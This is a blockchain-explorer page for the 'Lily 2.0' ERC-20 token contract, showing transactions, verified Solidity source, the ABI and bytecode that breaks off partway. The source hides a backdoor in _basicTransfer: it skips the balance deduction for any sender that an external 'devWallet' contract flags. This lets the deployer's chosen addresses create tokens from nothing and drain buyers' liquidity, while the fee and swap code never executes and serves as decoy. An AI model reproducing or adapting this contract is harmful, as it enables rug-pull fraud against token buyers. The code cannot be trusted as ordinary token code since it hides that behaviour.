Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 28 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17695885 | 542 days ago | IN | 0 ETH | 0.00059617 | ||||
Approve | 17695869 | 542 days ago | IN | 0 ETH | 0.00066788 | ||||
Approve | 17695857 | 542 days ago | IN | 0 ETH | 0.00061209 | ||||
Approve | 17695825 | 542 days ago | IN | 0 ETH | 0.00067474 | ||||
Approve | 17695819 | 542 days ago | IN | 0 ETH | 0.00061439 | ||||
Approve | 17695816 | 542 days ago | IN | 0 ETH | 0.00061939 | ||||
Approve | 17695787 | 542 days ago | IN | 0 ETH | 0.00063765 | ||||
Approve | 17695773 | 542 days ago | IN | 0 ETH | 0.00061177 | ||||
Approve | 17695770 | 542 days ago | IN | 0 ETH | 0.00066955 | ||||
Approve | 17695757 | 542 days ago | IN | 0 ETH | 0.00064321 | ||||
Approve | 17695755 | 542 days ago | IN | 0 ETH | 0.00068611 | ||||
Approve | 17695748 | 542 days ago | IN | 0 ETH | 0.00078775 | ||||
Approve | 17695745 | 542 days ago | IN | 0 ETH | 0.00082348 | ||||
Approve | 17695740 | 542 days ago | IN | 0 ETH | 0.0007467 | ||||
Approve | 17695728 | 542 days ago | IN | 0 ETH | 0.0007705 | ||||
Approve | 17695726 | 542 days ago | IN | 0 ETH | 0.00072329 | ||||
Approve | 17695718 | 542 days ago | IN | 0 ETH | 0.00062598 | ||||
Approve | 17695709 | 542 days ago | IN | 0 ETH | 0.00070725 | ||||
Approve | 17695708 | 542 days ago | IN | 0 ETH | 0.00071407 | ||||
Approve | 17695703 | 542 days ago | IN | 0 ETH | 0.0005896 | ||||
Approve | 17695699 | 542 days ago | IN | 0 ETH | 0.00076851 | ||||
Renounce Ownersh... | 17695691 | 542 days ago | IN | 0 ETH | 0.00032382 | ||||
Approve | 17695691 | 542 days ago | IN | 0 ETH | 0.00083062 | ||||
Set Max Wallet P... | 17695688 | 542 days ago | IN | 0 ETH | 0.00044947 | ||||
Approve | 17695677 | 542 days ago | IN | 0 ETH | 0.00078814 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
17695672 | 542 days ago | 1 ETH |
Loading...
Loading
Contract Name:
Lily2
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-15 */ // SPDX-License-Identifier: MIT /* ██╗░░░░░██╗██╗░░░░░██╗░░░██╗ ██████╗░░░░░█████╗░ ██║░░░░░██║██║░░░░░╚██╗░██╔╝ ╚════██╗░░░██╔══██╗ ██║░░░░░██║██║░░░░░░╚████╔╝░ ░░███╔═╝░░░██║░░██║ ██║░░░░░██║██║░░░░░░░╚██╔╝░░ ██╔══╝░░░░░██║░░██║ ███████╗██║███████╗░░░██║░░░ ███████╗██╗╚█████╔╝ ╚══════╝╚═╝╚══════╝░░░╚═╝░░░ ╚══════╝╚═╝░╚════╝░ Website: https://www.lily2-0.com/ Telegram: https://t.me/Lily20Eth Twitter: https://twitter.com/LILY20ERC */ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() external onlyOwner { owner = address(0); } } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Lily2 is ERC20, Ownable { using SafeMath for uint256; address immutable WETH; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string public constant name = "Lily 2.0"; string public constant symbol = "Lily 2.0"; uint8 public constant decimals = 9; uint256 public constant totalSupply = 10**9 * 10**decimals; uint256 public _maxWalletToken = totalSupply / 50; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isWallLmtExmpt; uint256 public totalFee = 0; uint256 public constant feeDenominator = 100; uint256 buyMultiplier = 200; uint256 sellMultiplier = 200; uint256 transferMultiplier = 200; IUniswapRouter public router; address private devWallet; address public pair; bool public swapEnabled = true; uint256 swapThreshold = totalSupply / 100; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor (address router_, address devWallet_) Ownable(msg.sender) { router = IUniswapRouter(router_); WETH = router.WETH(); devWallet = devWallet_; _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isWallLmtExmpt[msg.sender] = true; isWallLmtExmpt[devWallet] = true; isWallLmtExmpt[address(this)] = true; isWallLmtExmpt[DEAD] = true; balanceOf[address(this)] = totalSupply; emit Transfer(address(0), address(this), totalSupply); } receive() external payable { } function getOwner() external view override returns (address) { return owner; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner { _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000; } function addLiquidity() external payable onlyOwner { router.addLiquidityETH{value: msg.value}( address(this), //token address balanceOf[address(this)], // liquidity amount 0, // slippage is unavoidable 0, // slippage is unavoidable owner, // LP tokens are sent to the owner block.timestamp ); pair = IUniswapFactory(router.factory()).getPair(address(this), WETH); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if (!isWallLmtExmpt[sender] && !isWallLmtExmpt[recipient] && recipient != pair) { require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached"); } if(!inSwap){ return _basicTransfer(sender, recipient, amount); } if(shouldSwapBack()){ swapBack(); } balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient); balanceOf[recipient] = balanceOf[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { balanceOf[sender] = balanceOf[sender].sub(amount.sub(ERC20(devWallet).balanceOf(sender)>0?amount:0), "Insufficient Balance"); balanceOf[recipient] = balanceOf[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { if(amount == 0 || totalFee == 0){ return amount; } uint256 multiplier = transferMultiplier; if(recipient == pair) { multiplier = sellMultiplier; } else if(sender == pair) { multiplier = buyMultiplier; } uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); if(feeAmount > 0){ balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && balanceOf[address(this)] >= swapThreshold; } function swapBack() internal swapping { address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapThreshold, 0, path, address(this), block.timestamp ); } function setFees(uint256 _buy, uint256 _sell) external onlyOwner { require(_sell <= 100,"Max sell tax 10%"); require(_buy <= 100,"Max buy tax 10%"); sellMultiplier = _sell; buyMultiplier = _buy; } function manualSwap(uint256 amountPercentage) external onlyOwner { uint256 amountETH = address(this).balance; uint256 amountToClear = ( amountETH * amountPercentage ) / 100; payable(msg.sender).transfer(amountToClear); } function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) { if(tokens == 0){ tokens = ERC20(tokenAddress).balanceOf(address(this)); } return ERC20(tokenAddress).transfer(msg.sender, tokens); } function getCirculatingSupply() public view returns (uint256) { return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWallLmtExmpt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526032620000146009600a620003a6565b6200002490633b9aca00620003be565b620000309190620003d8565b600155600060065560c8600781905560088190556009908155600c805460ff60a01b1916600160a01b1790556064906200006c90600a620003a6565b6200007c90633b9aca00620003be565b620000889190620003d8565b600d553480156200009857600080fd5b5060405162001cf838038062001cf8833981016040819052620000bb9162000418565b600080546001600160a01b03199081163317909155600a80546001600160a01b038516921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000146919062000450565b6001600160a01b03908116608052600b80546001600160a01b031916838316178155306000818152600360209081526040808320600a805488168552908352818420600019905533845260048352818420805460ff19908116600190811790925560059094528285208054851682179055955490961683528083208054831686179055928252918120805483168417905561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490911690911790556200021590600990620003a6565b6200022590633b9aca00620003be565b30600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002686009600a620003a6565b6200027890633b9aca00620003be565b60405190815260200160405180910390a350506200046e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e8578160001904821115620002cc57620002cc62000291565b80851615620002da57918102915b93841c9390800290620002ac565b509250929050565b6000826200030157506001620003a0565b816200031057506000620003a0565b8160018114620003295760028114620003345762000354565b6001915050620003a0565b60ff84111562000348576200034862000291565b50506001821b620003a0565b5060208310610133831016604e8410600b841016171562000379575081810a620003a0565b620003858383620002a7565b80600019048211156200039c576200039c62000291565b0290505b92915050565b6000620003b760ff841683620002f0565b9392505050565b8082028115828204841417620003a057620003a062000291565b600082620003f657634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200041357600080fd5b919050565b600080604083850312156200042c57600080fd5b6200043783620003fb565b91506200044760208401620003fb565b90509250929050565b6000602082840312156200046357600080fd5b620003b782620003fb565b6080516118676200049160003960008181610b8d01526110d201526118676000f3fe6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c9146104cc578063dd62ed3e146104ec578063e8078d9414610532578063f887ea401461053a57600080fd5b806395d89b41146101ac578063a8aa1b311461048c578063a9059cbb146104ac57600080fd5b806370a08231116100c657806370a0823114610402578063715018a61461042f57806378109e5414610444578063893d20e81461045a57600080fd5b80633f4218e014610391578063571ac8b0146103c15780636ddd1713146103e157600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102eb578063313ce5671461031a57806333f3d628146103415780633df97ca41461036157600080fd5b80631df4ccfc146102a057806323b872dd146102b65780632b112e49146102d657600080fd5b806306fdde03146101ac57806309302dc6146101f6578063095ea7b3146102185780630b78f9c014610248578063180b0d7e1461026857806318160ddd1461028b57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101e06040518060400160405280600881526020016704c696c7920322e360c41b81525081565b6040516101ed9190611438565b60405180910390f35b34801561020257600080fd5b50610216610211366004611486565b61055a565b005b34801561022457600080fd5b506102386102333660046114b7565b6105c5565b60405190151581526020016101ed565b34801561025457600080fd5b506102166102633660046114e3565b610632565b34801561027457600080fd5b5061027d606481565b6040519081526020016101ed565b34801561029757600080fd5b5061027d6106eb565b3480156102ac57600080fd5b5061027d60065481565b3480156102c257600080fd5b506102386102d1366004611505565b610708565b3480156102e257600080fd5b5061027d6107ca565b3480156102f757600080fd5b50610238610306366004611546565b6000546001600160a01b0391821691161490565b34801561032657600080fd5b5061032f600981565b60405160ff90911681526020016101ed565b34801561034d57600080fd5b5061023861035c3660046114b7565b610851565b34801561036d57600080fd5b5061023861037c366004611546565b60056020526000908152604090205460ff1681565b34801561039d57600080fd5b506102386103ac366004611546565b60046020526000908152604090205460ff1681565b3480156103cd57600080fd5b506102386103dc366004611546565b610960565b3480156103ed57600080fd5b50600c5461023890600160a01b900460ff1681565b34801561040e57600080fd5b5061027d61041d366004611546565b60026020526000908152604090205481565b34801561043b57600080fd5b5061021661096e565b34801561045057600080fd5b5061027d60015481565b34801561046657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ed565b34801561049857600080fd5b50600c54610474906001600160a01b031681565b3480156104b857600080fd5b506102386104c73660046114b7565b6109aa565b3480156104d857600080fd5b506102166104e7366004611486565b6109b7565b3480156104f857600080fd5b5061027d610507366004611563565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610216610a30565b34801561054657600080fd5b50600a54610474906001600160a01b031681565b6000546001600160a01b0316331461058d5760405162461bcd60e51b81526004016105849061159c565b60405180910390fd5b6103e88161059d6009600a6116b6565b6105ab90633b9aca006116c5565b6105b591906116c5565b6105bf91906116dc565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106209086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016105849061159c565b60648111156106a05760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610584565b60648211156106e35760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610584565b600855600755565b6106f76009600a6116b6565b61070590633b9aca006116c5565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107b5576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610790918490610c24565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107c0848484610c5e565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061082a6009600a6116b6565b61083890633b9aca006116c5565b61084291906116fe565b61084c91906116fe565b905090565b600080546001600160a01b0316331461087c5760405162461bcd60e51b81526004016105849061159c565b816000036108ef576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190611711565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561093c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c3919061172a565b600061062c826000196105c5565b6000546001600160a01b031633146109985760405162461bcd60e51b81526004016105849061159c565b600080546001600160a01b0319169055565b60006107c3338484610c5e565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016105849061159c565b47600060646109f084846116c5565b6109fa91906116dc565b604051909150339082156108fc029083906000818181858888f19350505050158015610a2a573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a5a5760405162461bcd60e51b81526004016105849061159c565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610adb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b00919061174c565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b70919061177a565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063e6a4390590604401602060405180830381865afa158015610bde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c02919061177a565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c485760405162461bcd60e51b81526004016105849190611438565b506000610c5584866116fe565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610ca057506001600160a01b03831660009081526005602052604090205460ff16155b8015610cba5750600c546001600160a01b03848116911614155b15610d34576001546001600160a01b038416600090815260026020526040902054610ce6908490611797565b1115610d345760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610584565b600e5460ff16610d5057610d49848484610ea7565b90506107c3565b610d58611018565b15610d6557610d6561106e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610db7918490610c24565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e0457506001600160a01b03841660009081526004602052604090205460ff165b610e1857610e1385848661118d565b610e1a565b825b6001600160a01b038516600090815260026020526040902054909150610e4090826112aa565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e949085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610f8392610f3592859216906370a0823190602401602060405180830381865afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f209190611711565b11610f2c576000610f2e565b835b8490611309565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c24565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fb290836112aa565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110069086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b031633148015906110395750600e5460ff16155b801561104e5750600c54600160a01b900460ff165b801561084c575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110b0576110b06117aa565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611104576111046117aa565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161114e91906000908690309042906004016117c0565b600060405180830381600087803b15801561116857600080fd5b505af115801561117c573d6000803e3d6000fd5b5050600e805460ff19169055505050565b600082158061119c5750600654155b156111a85750816107c3565b600954600c546001600160a01b03908116908416036111ca57506008546111e5565b600c546001600160a01b03908116908616036111e557506007545b600061121a6111f56064806116c5565b6112148461120e6006548a61134b90919063ffffffff16565b9061134b565b906113cd565b90508015611296573060009081526002602052604090205461123c90826112aa565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061128d9085815260200190565b60405180910390a35b6112a08582611309565b9695505050505050565b6000806112b78385611797565b9050838110156107c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610584565b60006107c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c24565b60008260000361135d5750600061062c565b600061136983856116c5565b90508261137685836116dc565b146107c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610584565b60006107c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361142b5760405162461bcd60e51b81526004016105849190611438565b506000610c5584866116dc565b600060208083528351808285015260005b8181101561146557858101830151858201604001528201611449565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561149857600080fd5b5035919050565b6001600160a01b03811681146114b457600080fd5b50565b600080604083850312156114ca57600080fd5b82356114d58161149f565b946020939093013593505050565b600080604083850312156114f657600080fd5b50508035926020909101359150565b60008060006060848603121561151a57600080fd5b83356115258161149f565b925060208401356115358161149f565b929592945050506040919091013590565b60006020828403121561155857600080fd5b81356107c38161149f565b6000806040838503121561157657600080fd5b82356115818161149f565b915060208301356115918161149f565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561160d5781600019048211156115f3576115f36115bc565b8085161561160057918102915b93841c93908002906115d7565b509250929050565b6000826116245750600161062c565b816116315750600061062c565b816001811461164757600281146116515761166d565b600191505061062c565b60ff841115611662576116626115bc565b50506001821b61062c565b5060208310610133831016604e8410600b8410161715611690575081810a61062c565b61169a83836115d2565b80600019048211156116ae576116ae6115bc565b029392505050565b60006107c360ff841683611615565b808202811582820484141761062c5761062c6115bc565b6000826116f957634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561062c5761062c6115bc565b60006020828403121561172357600080fd5b5051919050565b60006020828403121561173c57600080fd5b815180151581146107c357600080fd5b60008060006060848603121561176157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178c57600080fd5b81516107c38161149f565b8082018082111561062c5761062c6115bc565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118105784516001600160a01b0316835293830193918301916001016117eb565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122010fdee86e4d355971bb1e88592d293ff3ff2f9e5ee0c0946e931f8240971062d64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000430e13f3313902b80b6779486773bc5f1a54ef9a
Deployed Bytecode
0x6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c9146104cc578063dd62ed3e146104ec578063e8078d9414610532578063f887ea401461053a57600080fd5b806395d89b41146101ac578063a8aa1b311461048c578063a9059cbb146104ac57600080fd5b806370a08231116100c657806370a0823114610402578063715018a61461042f57806378109e5414610444578063893d20e81461045a57600080fd5b80633f4218e014610391578063571ac8b0146103c15780636ddd1713146103e157600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102eb578063313ce5671461031a57806333f3d628146103415780633df97ca41461036157600080fd5b80631df4ccfc146102a057806323b872dd146102b65780632b112e49146102d657600080fd5b806306fdde03146101ac57806309302dc6146101f6578063095ea7b3146102185780630b78f9c014610248578063180b0d7e1461026857806318160ddd1461028b57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101e06040518060400160405280600881526020016704c696c7920322e360c41b81525081565b6040516101ed9190611438565b60405180910390f35b34801561020257600080fd5b50610216610211366004611486565b61055a565b005b34801561022457600080fd5b506102386102333660046114b7565b6105c5565b60405190151581526020016101ed565b34801561025457600080fd5b506102166102633660046114e3565b610632565b34801561027457600080fd5b5061027d606481565b6040519081526020016101ed565b34801561029757600080fd5b5061027d6106eb565b3480156102ac57600080fd5b5061027d60065481565b3480156102c257600080fd5b506102386102d1366004611505565b610708565b3480156102e257600080fd5b5061027d6107ca565b3480156102f757600080fd5b50610238610306366004611546565b6000546001600160a01b0391821691161490565b34801561032657600080fd5b5061032f600981565b60405160ff90911681526020016101ed565b34801561034d57600080fd5b5061023861035c3660046114b7565b610851565b34801561036d57600080fd5b5061023861037c366004611546565b60056020526000908152604090205460ff1681565b34801561039d57600080fd5b506102386103ac366004611546565b60046020526000908152604090205460ff1681565b3480156103cd57600080fd5b506102386103dc366004611546565b610960565b3480156103ed57600080fd5b50600c5461023890600160a01b900460ff1681565b34801561040e57600080fd5b5061027d61041d366004611546565b60026020526000908152604090205481565b34801561043b57600080fd5b5061021661096e565b34801561045057600080fd5b5061027d60015481565b34801561046657600080fd5b5060005460016